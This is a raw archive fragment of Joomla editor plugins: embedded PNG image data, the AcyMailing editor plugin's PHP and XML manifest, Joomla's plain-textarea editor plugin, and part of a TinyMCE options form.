   IHDR         ٬    tEXtSoftware Adobe ImageReadyqe<  "iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:D1024FB3B06811E4A380B4651962F653" xmpMM:DocumentID="xmp.did:D1024FB4B06811E4A380B4651962F653"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D1024FB1B06811E4A380B4651962F653" stRef:documentID="xmp.did:D1024FB2B06811E4A380B4651962F653"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>w  IDATxb?选,@?>|E?![[[EEŋ/'AA(8~=\\\ohh K1
Iׯ_*++O0m=@RJJ
eff|!	#**4k,U" Y;;tgg'=Xaԃ7HX		 :u۳gϲx B~XXP'~=@ uǏ_|ijjX4$to  :p'    IENDB`                                                                                                                                                                                                                                                                                                                                                                               editors/acyeditor/acyeditor/images/duplicate_after.png                                              0000705                 00000010653 15242051521 0017271 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR   Y   <   2F   sRGB    gAMA  a   	pHYs    +   tEXtSoftware Adobe ImageReadyqe<  IDATx^\{puݕ,ɲ$KH8i4PJiNgBC02M&Ʉ8t35G47`lb¶+V߹bYh={V6IDcccH0LXGN]]]p0E"~z8%BDQ3N:-[tboo/Z[["+t(
axx	Bא+ݵ%wE|h@+ _Z:i޽m۶SX#812
¸Hd/pMRNo߾9Lb玜 <n +4(ThW.l;,]((fBR*<C圫Or,Gx9j6܀ILf+\c9`˙WNPkϢHpi\i\Zwa ̍Y JctE.n@FtN|i%Wh%Q}|yd2C"ũj.5rH-/)ԋ L慃boIb_8#`%_NŽ<S_g^3#G6Qf z@p #۫
JŚ2"SXUiՐO&c$Kհզצϋ]*Rq,(l|vZW$ب[hBz.-yjq&ѯ&VM1"aȴLpҳ*mz^NLt\z&T:iz˲zy) Arzp&&Ƒʾ,H4p	B|f@	#M7\Ȫpybԅ<6vv!hdg6٬}3z$-Y>r=pqzYۛWOWdv݀5b_ܔΎ5aRVo	=}hԳjev['E{ |Fyw)|=$.LLRV*l
\v5J33Rl$gf[l"y)4JScq}09]H'3bD`w9t9FV؎BP~T"`sbn53lb)>;K[U9lиcjs)[44ľ;89NrLO@seV+'X02G*B|h۝
R""7~ S瀵_4ǿ:VSH,-&HtM"!tkǓiff0LAPiYDI9"D15(BRl>D6fJY avTg0zRp2&@1/:'8q=|n~x<2/"CQ{s2!UPdP-|=OҠs;G&paDjiYzr"[%G<e%(+ili|lz	dB؇Rt
tFf5؊;9,R(Ɔi#/*ŭd&@dTw";gY\&t{TR(&Ε(ˇ3qذAJFaO0G.ɣ)`uz`kgZ"~Гg!徘dhdsj3dͪC0ۋ<[0Z9ئ0;~r+<
hKRUk]B|f۪D+41MS@eʶJ_68Rmx,6J;h^,I912X&KN](l3T2v'
MA-jʳEju.sT"Wd'\2m nH(1O VP)e?R><zdڳgO{UnF7f5/{,6k;y'ƹ[4r'QKwmXA@x~Q㑇Txhxax?S+Y/Ǎyuߊ$1"B%够N.<ȩTdj@<g	wa9Im "P2h<5M16>شQy!:RG"?$V#:"OMcvn$+
dGR0M@f&DY.KPy#i"
h:/sSdcI ξHLoKx~xN#@HQ Wm|"ks-K'qٟw!5R_sc>63x(t֏! _G
DRUFu,A^ȕt3ccUXCF"1<6<KC3聥-_EA.ɨU4P=r8+#/e^AXC+\e,BG]k1N	ײNi:ִskV/BM)j;-zwnG79jd/7VoA:ō^QTe..zާ~zչ5[B<F*\t>[}cudHFC͘UB2ڊkY_r=4:x"J&C.,w36z|tm7nʴ0]~RkF힓7*⻑c-'IeO^k'	ʲ#re~&WaOP<0b#_F%؍bHl3$৛cgh*=	GaM<BL!!tW*Au.Ȋ\iI +l.WўV唁^]As,ɠA!A.owv|:U@'hFq'oԫt1865"`
ZȓBgZ3:熹̱T},c#U@ɥd̋=3;()Y}eŖզkJr2iưgO</|QCpup/ux|<őagUXib,\j.5DSu:vzfnn;~.ҳO9E&efٹNBnrh\R_SYNXꓲmaIҼN'lTñY=qGNO2N=,a"!:~g؜:X
>FYG+Dz{~݅}##j3t~X=]@-C3OϠُH$3c*nX݆q8q|pȀgd"bhr9195a99au+N>]d־u4&Y9Z94yhk	d|K͉`ޓsqzR D'O)ϡ#YzX_~cac~{&v:Sm
s/gv@&qCC^[7nGTЯoш*!kڰG8G9i.l&y	fn݌~#wv+9GÂ`{`eLk[қZ#56޽c\xQ*5U_^L^g8Jv@=@se
ʙsRIЕ*p ^Y41JF2	vٌx\Zy=!eZGqqevpRļI?"4i~6Y)_<rxV?.1f	XR'%sA^
ڕi09IY8[Rr,'~)YTK@EG>c?6ri>.<m	o|Qy$mA&&%_P'_
u@tPrҰ<fIYN U[f~ir5K-V34ENVv#+W:ɽjK4yM~?3H$ x)Ec8;2
MMk	4&ոT-5yϞ=%M2:qmg6߂z{r@~HQǖdPXȑ$W47G1cWRXR@+,[M`Nܮ$e 4Mܹs0):tхZB$Z,9g2CFPnWIlrKKvŀw    IENDB`                                                                                     editors/acyeditor/acyeditor/images/popup_cancel_hover.png                                           0000705                 00000001762 15242051521 0020012 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         w&   tEXtSoftware Adobe ImageReadyqe<  "iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:090B06934AFB11E5A67AED1359B9D3AA" xmpMM:DocumentID="xmp.did:090B06944AFB11E5A67AED1359B9D3AA"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:090B06914AFB11E5A67AED1359B9D3AA" stRef:documentID="xmp.did:090B06924AFB11E5A67AED1359B9D3AA"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>n   fIDATxb6Y@̀ςk8#4䞃G-@	4	hg yd+;Pqt |MEdyL&$ILt ˇ}    IENDB`              editors/acyeditor/acyeditor/index.html                                                              0000705                 00000000054 15242051521 0014152 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor.php                                                                     0000705                 00000017320 15242051521 0012672 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.8.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class plgEditorAcyEditor extends JPlugin
{

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);

		include_once(rtrim(JPATH_ADMINISTRATOR,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php');

		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'acyeditor');
			$this->params = new acyParameter( $plugin->params );
		}
	}


	public function onInit()
	{
		acymailing_addScript(false, ACYMAILING_JS.'acyeditor.js?v='.@filemtime(ACYMAILING_MEDIA.'js'.DS.'acyeditor.js'));

		$websiteurl = rtrim(acymailing_rootURI(),'/').'/';

		acymailing_addStyle(false, $websiteurl.'plugins/editors/acyeditor/acyeditor/css/acyeditor.css?v='.@filemtime(JPATH_SITE.DS.'plugins'.DS.'editors'.DS.'acyeditor'.DS.'acyeditor'.DS.'css'.DS.'acyeditor.css'));

		if (ACYMAILING_J16){
			acymailing_addScript(false, $websiteurl.'plugins/editors/acyeditor/acyeditor/ckeditor/ckeditor.js?v='.@filemtime(ACYMAILING_ROOT.'plugins'.DS.'editors'.DS.'acyeditor'.DS.'acyeditor'.DS.'ckeditor'.DS.'ckeditor.js'));
		} else{
			acymailing_addScript(false, $websiteurl.'plugins/editors/acyeditor/ckeditor/ckeditor.js?v='.@filemtime(ACYMAILING_ROOT.'plugins'.DS.'editors'.DS.'acyeditor'.DS.'ckeditor'.DS.'ckeditor.js'));
		}
		acymailing_addScript(false, $websiteurl.'media/com_acymailing/js/jquery/jquery-1.9.1.min.js?v='.@filemtime(ACYMAILING_ROOT.'media'.DS.'com_acymailing'.DS.'js'.DS.'jquery'.DS.'jquery-1.9.1.min.js'));
		acymailing_addStyle(false, $websiteurl.'media/com_acymailing/js/colorpicker/css/colorpicker.css?v='.@filemtime(ACYMAILING_ROOT.'media'.DS.'com_acymailing'.DS.'js'.DS.'colorpicker'.DS.'css'.DS.'colorpicker.css'));
		acymailing_addScript(false, $websiteurl.'media/com_acymailing/js/colorpicker/js/colorpicker.js?v='.@filemtime(ACYMAILING_ROOT.'media'.DS.'com_acymailing'.DS.'js'.DS.'colorpicker'.DS.'js'.DS.'colorpicker.js'));
		acymailing_addScript(false, $websiteurl.'media/com_acymailing/js/jquery/jquery-ui.min.js?v='.@filemtime(ACYMAILING_ROOT.'media'.DS.'com_acymailing'.DS.'js'.DS.'jquery'.DS.'jquery-ui.min.js'));
		return '';
	}

	function onSave()
	{
		return;
	}

	function onGetContent($id)
	{
		return "AcyGetData();\n";
	}

	function onSetContent($id, $html)
	{
		$idIframe = "#".$id."_ifr";
		$initialisation = $this->GetInitialisationFunction($id);

		return "document.getElementById('$id').value = $html;$initialisation";
	}

	function onGetInsertMethod($id)
	{
		static $done = false;

		if($done) return true;
		$done = true;

		$js = "\tfunction jInsertEditorText(text, editor) {
				insertAtCursor(document.getElementById(editor), text);
				}";
		acymailing_addScript(true, $js);

		return true;
	}

	function onDisplay($name, $content, $width, $height, $col, $row, $buttons = true, $id = null, $asset = null, $author = null, $params = array())
	{
		if (empty($id)) {
			$id = $name;
		}

		if (is_numeric($width)) {
			$width .= 'px';
		}

		if (is_numeric($height)) {
			$height .= 'px';
		}

		$idIframe = $id."_ifr";
		$initialisation = $this->GetInitialisationFunction($id);

		$contentAvecOnClick = htmlspecialchars_decode($content);
		$editor  = "<textarea name=\"$name\" id=\"$id\" cols=\"$col\" rows=\"$row\" style=\"width:$width; height:$height;display:none\">$content</textarea>\n
					<script type=\"text/javascript\">
						$initialisation
					</script>";

		return $editor;
	}

	function GetInitialisationFunction($id)
	{

		$texteSuppression = acymailing_translation('ACYEDITOR_DELETEAREA');
		$tooltipSuppression = acymailing_translation('ACY_DELETE');
		$tooltipEdition = acymailing_translation('ACY_EDIT');
		$urlBase = acymailing_rootURI();
		$urlAdminBase = acymailing_baseURI();
		$cssurl = acymailing_getVar('none', 'acycssfile');
		$forceComplet = (acymailing_getVar('cmd', 'option') != 'com_acymailing' || acymailing_getVar('cmd', 'ctrl') == 'template' || acymailing_getVar('cmd', 'ctrl') == 'list');
		$modeList = (acymailing_getVar('cmd', 'option') == 'com_acymailing' && acymailing_getVar('cmd', 'ctrl') == 'list');
		$modeTemplate = (acymailing_getVar('cmd', 'option') == 'com_acymailing' && acymailing_getVar('cmd', 'ctrl') == 'template');
		$modeArticle = (acymailing_getVar('cmd', 'option') == 'com_content' && acymailing_getVar('cmd', 'view') == 'article');
		$joomla2_5 = ACYMAILING_J16;
		$joomla3 = ACYMAILING_J30;
		$titleTemplateDelete = acymailing_translation('ACYEDITOR_TEMPLATEDELETE');
		$titleTemplateText = acymailing_translation('ACYEDITOR_TEMPLATETEXT');
		$titleTemplatePicture = acymailing_translation('ACYEDITOR_TEMPLATEPICTURE');
		$titleShowAreas = acymailing_translation('ACYEDITOR_SHOWAREAS');
		$isBack = 0;
		if(acymailing_isAdmin()){
			$isBack = 1;
		};
		$tagAllowed = 0;
		$config = acymailing_config();
		if(acymailing_getVar('cmd', 'option') == 'com_acymailing'
		&& acymailing_getVar('cmd', 'ctrl') != 'list'
		&& acymailing_getVar('cmd', 'ctrl') != 'campaign'
		&& acymailing_isAllowed($config->get('acl_tags_view','all'))
		&& acymailing_getVar('cmd', 'tmpl') != 'component'){
			$tagAllowed = 1;
		}
		$type = 'news';
		if(acymailing_getVar('cmd', 'ctrl') == 'autonews' || acymailing_getVar('cmd', 'ctrl') == 'followup'){
			$type = acymailing_getVar('cmd', 'ctrl');
		}

		$pasteType = $this->params->get('pasteType', 'plain');
		$enterMode = $this->params->get('enterMode', 'br');
		$inlineSource = $this->params->get('inlineSource', 1);

		$js = "
		acyEnterMode='".$enterMode."';
		pasteType='".$pasteType."';
		urlSite='".$urlBase."';
		defaultText='".str_replace("'", "\'", acymailing_translation('ACYEDITOR_DEFAULTTEXT'))."';
		titleBtnMore='".str_replace("'", "\'", acymailing_translation('ACYEDITOR_TEMPLATEMORE'))."';
		titleBtnDupliAfter='".str_replace("'", "\'", acymailing_translation('ACYEDITOR_DUPLICATE_AFTER'))."';
		tooltipInitAreas='".str_replace("'", "\'", acymailing_translation('ACYEDITOR_REINIT_ZONE_TOOLTIP'))."';
		confirmInitAreas='".str_replace("'", "\'", acymailing_translation('ACYEDITOR_REINIT_ZONE_CONFIRMATION'))."';
		tooltipTemplateSortable='".str_replace("'", "\'", acymailing_translation('ACYEDITOR_SORTABLE_AREA_TOOLTIP'))."';
		var bgroundColorTxt='".str_replace("'", "\'", acymailing_translation('BACKGROUND_COLOUR'))."';
		var confirmDeleteBtnTxt='".str_replace("'", "\'", acymailing_translation('ACY_DELETE'))."';
		var confirmCancelBtnTxt='".str_replace("'", "\'", acymailing_translation('ACY_CANCEL'))."';
		inlineSource='".$inlineSource."';
		var emojis = false;
		";

		$installedPlugin = JPluginHelper::getPlugin('acymailing', 'emojis');
		if(!empty($installedPlugin)) {
			$params = new acyParameter($installedPlugin->params);
			if(JPluginHelper::isEnabled('acymailing', 'emojis') && $params->get('editor', 1) == 1) {
				$js .= "emojis = true;";
			}
		}

		acymailing_addScript(true, $js);

		$ckEditorFileVersion = @filemtime(ACYMAILING_ROOT.'plugins'.DS.'editors'.DS.'acyeditor'.DS.'acyeditor'.DS.'ckeditor'.DS.'ckeditor.js');
		return "Initialisation(\"$id\", \"$type\", \"$urlBase\", \"$urlAdminBase\", \"$cssurl\", \"$forceComplet\", \"$modeList\", \"$modeTemplate\", \"$modeArticle\", \"$joomla2_5\", \"$joomla3\", \"$isBack\", \"$tagAllowed\", \"$texteSuppression\", \"$tooltipSuppression\", \"$tooltipEdition\", \"$titleTemplateDelete\", \"$titleTemplateText\", \"$titleTemplatePicture\", \"$titleShowAreas\", \"$ckEditorFileVersion\");\n";
	}
}
                                                                                                                                                                                                                                                                                                                editors/acyeditor/acyeditor.xml                                                                     0000705                 00000005033 15242051521 0012701 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>

<extension type="plugin" version="2.5" method="upgrade" group="editors">
	<name>AcyMailing Editor</name>
	<creationDate>juillet 2017</creationDate>
	<version>5.8.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2017 ACYBA SAS - All rights reserved.</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This editor will make your life easier when writing Newsletters with AcyMailing</description>
	<files>
		<filename plugin="acyeditor">acyeditor.php</filename>
		<folder>acyeditor</folder>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="pasteType" type="radio" default="plain" label="Copy/paste type" description="Choose the way you want to paste text in your newsletter">
			<option value="plain">Plain text</option>
			<option value="simpleStyle">Simple styles from word</option>
		</param>
		<param name="enterMode" type="radio" default="br" label="Behaviour of the Enter key" description="Choose the separator when pressing the enter key">
			<option value="p">p</option>
			<option value="br">br</option>
			<option value="div">div</option>
		</param>
		<param name="inlineSource" type="radio" default="1" label="Display source button for inline editor" description="Choose to display the source button for the editor inb inline mode">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="pasteType" type="radio" default="plain" label="Copy/paste type" description="Choose the way you want to paste text in your newsletter">
					<option value="plain">Plain text</option>
					<option value="simpleStyle">Simple styles from word</option>
				</field>
				<field name="enterMode" type="radio" default="br" label="Behaviour of the Enter key" description="Choose the separator when pressing the enter key">
					<option value="p">p</option>
					<option value="br">br</option>
					<option value="div">div</option>
				</field>
				<field name="inlineSource" type="radio" default="1" label="Display source button for inline editor" description="Choose to display the source button for the editor inb inline mode">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     editors/none/none.xml                                                                               0000705                 00000001370 15242051521 0010631 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="editors" method="upgrade">
	<name>plg_editors_none</name>
	<version>3.0.0</version>
	<creationDate>September 2005</creationDate>
	<author>Joomla! Project</author>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<description>PLG_NONE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="none">none.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors_none.ini</language>
		<language tag="en-GB">en-GB.plg_editors_none.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                                                                        editors/none/none.php                                                                               0000705                 00000007565 15242051521 0010634 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.none
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Plain Textarea Editor Plugin
 *
 * @since  1.5
 */
class PlgEditorNone extends JPlugin
{
	/**
	 * Method to handle the onInitEditor event.
	 *  - Initialises the Editor
	 *
	 * @return  void
	 *
	 * @since 1.5
	 */
	public function onInit()
	{
		JHtml::_('script', 'editors/none/none.min.js', array('version' => 'auto', 'relative' => true));
	}

	/**
	 * Copy editor content to form field.
	 *
	 * Not applicable in this editor.
	 *
	 * @param   string  $editor  the editor id
	 *
	 * @return  void
	 *
	 * @deprecated 4.0 Use directly the returned code
	 */
	public function onSave($editor)
	{
	}

	/**
	 * Get the editor content.
	 *
	 * @param   string  $id  The id of the editor field.
	 *
	 * @return  string
	 *
	 * @deprecated 4.0 Use directly the returned code
	 */
	public function onGetContent($id)
	{
		return 'Joomla.editors.instances[' . json_encode($id) . '].getValue();';
	}

	/**
	 * Set the editor content.
	 *
	 * @param   string  $id    The id of the editor field.
	 * @param   string  $html  The content to set.
	 *
	 * @return  string
	 *
	 * @deprecated 4.0 Use directly the returned code
	 */
	public function onSetContent($id, $html)
	{
		return 'Joomla.editors.instances[' . json_encode($id) . '].setValue(' . json_encode($html) . ');';
	}

	/**
	 * Inserts html code into the editor
	 *
	 * @param   string  $id  The id of the editor field
	 *
	 * @return  void
	 *
	 * @deprecated 4.0
	 */
	public function onGetInsertMethod($id)
	{
	}

	/**
	 * Display the editor area.
	 *
	 * @param   string   $name     The control name.
	 * @param   string   $content  The contents of the text area.
	 * @param   string   $width    The width of the text area (px or %).
	 * @param   string   $height   The height of the text area (px or %).
	 * @param   integer  $col      The number of columns for the textarea.
	 * @param   integer  $row      The number of rows for the textarea.
	 * @param   boolean  $buttons  True and the editor buttons will be displayed.
	 * @param   string   $id       An optional ID for the textarea (note: since 1.6). If not supplied the name is used.
	 * @param   string   $asset    The object asset
	 * @param   object   $author   The author.
	 * @param   array    $params   Associative array of editor parameters.
	 *
	 * @return  string
	 */
	public function onDisplay($name, $content, $width, $height, $col, $row, $buttons = true,
		$id = null, $asset = null, $author = null, $params = array())
	{
		if (empty($id))
		{
			$id = $name;
		}

		// Only add "px" to width and height if they are not given as a percentage
		if (is_numeric($width))
		{
			$width .= 'px';
		}

		if (is_numeric($height))
		{
			$height .= 'px';
		}

		$readonly = !empty($params['readonly']) ? ' readonly disabled' : '';

		$editor = '<div class="js-editor-none">'
			. '<textarea name="' . $name . '" id="' . $id . '" cols="' . $col . '" rows="' . $row
			. '" style="width: ' . $width . '; height: ' . $height . ';"' . $readonly . '>' . $content . '</textarea>'
			. $this->_displayButtons($id, $buttons, $asset, $author)
			. '</div>';

		return $editor;
	}

	/**
	 * Displays the editor buttons.
	 *
	 * @param   string  $name     The control name.
	 * @param   mixed   $buttons  [array with button objects | boolean true to display buttons]
	 * @param   string  $asset    The object asset
	 * @param   object  $author   The author.
	 *
	 * @return  void|string HTML
	 */
	public function _displayButtons($name, $buttons, $asset, $author)
	{
		if (is_array($buttons) || (is_bool($buttons) && $buttons))
		{
			$buttons = $this->_subject->getButtons($name, $buttons, $asset, $author);

			return JLayoutHelper::render('joomla.editors.buttons', $buttons);
		}
	}
}
                                                                                                                                           editors/none/index.html                                                                             0000705                 00000000037 15242051521 0011144 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 editors/index.html                                                                                  0000705                 00000000037 15242051521 0010205 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 editors/tinymce/form/setoptions.xml                                                                 0000705                 00000017641 15242051521 0013565 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
    <field
        name="access"
        type="usergrouplist"
        label="PLG_TINY_FIELD_SETACCESS_LABEL"
        description="PLG_TINY_FIELD_SETACCESS_DESC"
        multiple="true"
        class="access-select"
        labelclass="label label-success"
    />

    <field
        name="skins"
        type="note"
        label="PLG_TINY_FIELD_SKIN_INFO_LABEL"
        description="PLG_TINY_FIELD_SKIN_INFO_DESC"
    />

    <field
        name="skin"
        type="skins"
        label="PLG_TINY_FIELD_SKIN_LABEL"
        description="PLG_TINY_FIELD_SKIN_DESC"
    />

    <field
        name="skin_admin"
        type="skins"
        label="PLG_TINY_FIELD_SKIN_ADMIN_LABEL"
        description="PLG_TINY_FIELD_SKIN_ADMIN_DESC"
    />

    <field
        name="mobile"
        type="radio"
        label="PLG_TINY_FIELD_MOBILE_LABEL"
        description="PLG_TINY_FIELD_MOBILE_DESC"
        class="btn-group btn-group-yesno"
        default="0"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="drag_drop"
        type="radio"
        label="PLG_TINY_FIELD_DRAG_DROP_LABEL"
        description="PLG_TINY_FIELD_DRAG_DROP_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="path"
        type="uploaddirs"
        label="PLG_TINY_FIELD_CUSTOM_PATH_LABEL"
        description="PLG_TINY_FIELD_CUSTOM_PATH_DESC"
        class="input-xxlarge"
        showon="drag_drop:1"
    />

    <field
        name="entity_encoding"
        type="list"
        label="PLG_TINY_FIELD_ENCODING_LABEL"
        description="PLG_TINY_FIELD_ENCODING_DESC"
        default="raw"
        >
        <option value="named">PLG_TINY_FIELD_VALUE_NAMED</option>
        <option value="numeric">PLG_TINY_FIELD_VALUE_NUMERIC</option>
        <option value="raw">PLG_TINY_FIELD_VALUE_RAW</option>
    </field>

    <field
        name="lang_mode"
        type="radio"
        label="PLG_TINY_FIELD_LANGSELECT_LABEL"
        description="PLG_TINY_FIELD_LANGSELECT_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="lang_code"
        type="filelist"
        label="PLG_TINY_FIELD_LANGCODE_LABEL"
        description="PLG_TINY_FIELD_LANGCODE_DESC"
        class="inputbox"
        stripext="1"
        directory="media/editors/tinymce/langs/"
        hide_none="1"
        default="en"
        hide_default="1"
        filter="\.js$"
        size="10"
        showon="lang_mode:0"
    />

    <field
        name="text_direction"
        type="list"
        label="PLG_TINY_FIELD_DIRECTION_LABEL"
        description="PLG_TINY_FIELD_DIRECTION_DESC"
        default="ltr"
        >
        <option value="ltr">PLG_TINY_FIELD_VALUE_LTR</option>
        <option value="rtl">PLG_TINY_FIELD_VALUE_RTL</option>
    </field>

    <field
        name="content_css"
        type="radio"
        label="PLG_TINY_FIELD_CSS_LABEL"
        description="PLG_TINY_FIELD_CSS_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="content_css_custom"
        type="text"
        label="PLG_TINY_FIELD_CUSTOM_CSS_LABEL"
        description="PLG_TINY_FIELD_CUSTOM_CSS_DESC"
        class="input-xxlarge"
    />

    <field
        name="relative_urls"
        type="list"
        label="PLG_TINY_FIELD_URLS_LABEL"
        description="PLG_TINY_FIELD_URLS_DESC"
        default="1"
        >
        <option value="0">PLG_TINY_FIELD_VALUE_ABSOLUTE</option>
        <option value="1">PLG_TINY_FIELD_VALUE_RELATIVE</option>
    </field>

    <field
        name="newlines"
        type="list"
        label="PLG_TINY_FIELD_NEWLINES_LABEL"
        description="PLG_TINY_FIELD_NEWLINES_DESC"
        default="0"
        >
        <option value="1">PLG_TINY_FIELD_VALUE_BR</option>
        <option value="0">PLG_TINY_FIELD_VALUE_P</option>
    </field>

    <field
        name="use_config_textfilters"
        type="radio"
        label="PLG_TINY_CONFIG_TEXTFILTER_ACL_LABEL"
        description="PLG_TINY_CONFIG_TEXTFILTER_ACL_DESC"
        class="btn-group btn-group-yesno"
        default="0"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="invalid_elements"
        type="text"
        label="PLG_TINY_FIELD_PROHIBITED_LABEL"
        description="PLG_TINY_FIELD_PROHIBITED_DESC"
        showon="use_config_textfilters:0"
        default="script,applet,iframe"
        class="input-xxlarge"
    />

    <field
        name="valid_elements"
        type="text"
        label="PLG_TINY_FIELD_VALIDELEMENTS_LABEL"
        description="PLG_TINY_FIELD_VALIDELEMENTS_DESC"
        showon="use_config_textfilters:0"
        class="input-xxlarge"
    />

    <field
        name="extended_elements"
        type="text"
        label="PLG_TINY_FIELD_ELEMENTS_LABEL"
        description="PLG_TINY_FIELD_ELEMENTS_DESC"
        showon="use_config_textfilters:0"
        class="input-xxlarge"
    />

    <!-- Extra plugins -->
    <field
        name="resizing"
        type="radio"
        label="PLG_TINY_FIELD_RESIZING_LABEL"
        description="PLG_TINY_FIELD_RESIZING_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="resize_horizontal"
        type="radio"
        label="PLG_TINY_FIELD_RESIZE_HORIZONTAL_LABEL"
        description="PLG_TINY_FIELD_RESIZE_HORIZONTAL_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        showon="resizing:1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="element_path"
        type="radio"
        label="PLG_TINY_FIELD_PATH_LABEL"
        description="PLG_TINY_FIELD_PATH_DESC"
        class="btn-group btn-group-yesno"
        default="0"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="wordcount"
        type="radio"
        label="PLG_TINY_FIELD_WORDCOUNT_LABEL"
        description="PLG_TINY_FIELD_WORDCOUNT_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="image_advtab"
        type="radio"
        label="PLG_TINY_FIELD_ADVIMAGE_LABEL"
        description="PLG_TINY_FIELD_ADVIMAGE_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="advlist"
        type="radio"
        label="PLG_TINY_FIELD_ADVLIST_LABEL"
        description="PLG_TINY_FIELD_ADVLIST_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="contextmenu"
        type="radio"
        label="PLG_TINY_FIELD_CONTEXTMENU_LABEL"
        description="PLG_TINY_FIELD_CONTEXTMENU_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="custom_plugin"
        type="text"
        label="PLG_TINY_FIELD_CUSTOMPLUGIN_LABEL"
        description="PLG_TINY_FIELD_CUSTOMPLUGIN_DESC"
        class="input-xxlarge"
    />

    <field
        name="custom_button"
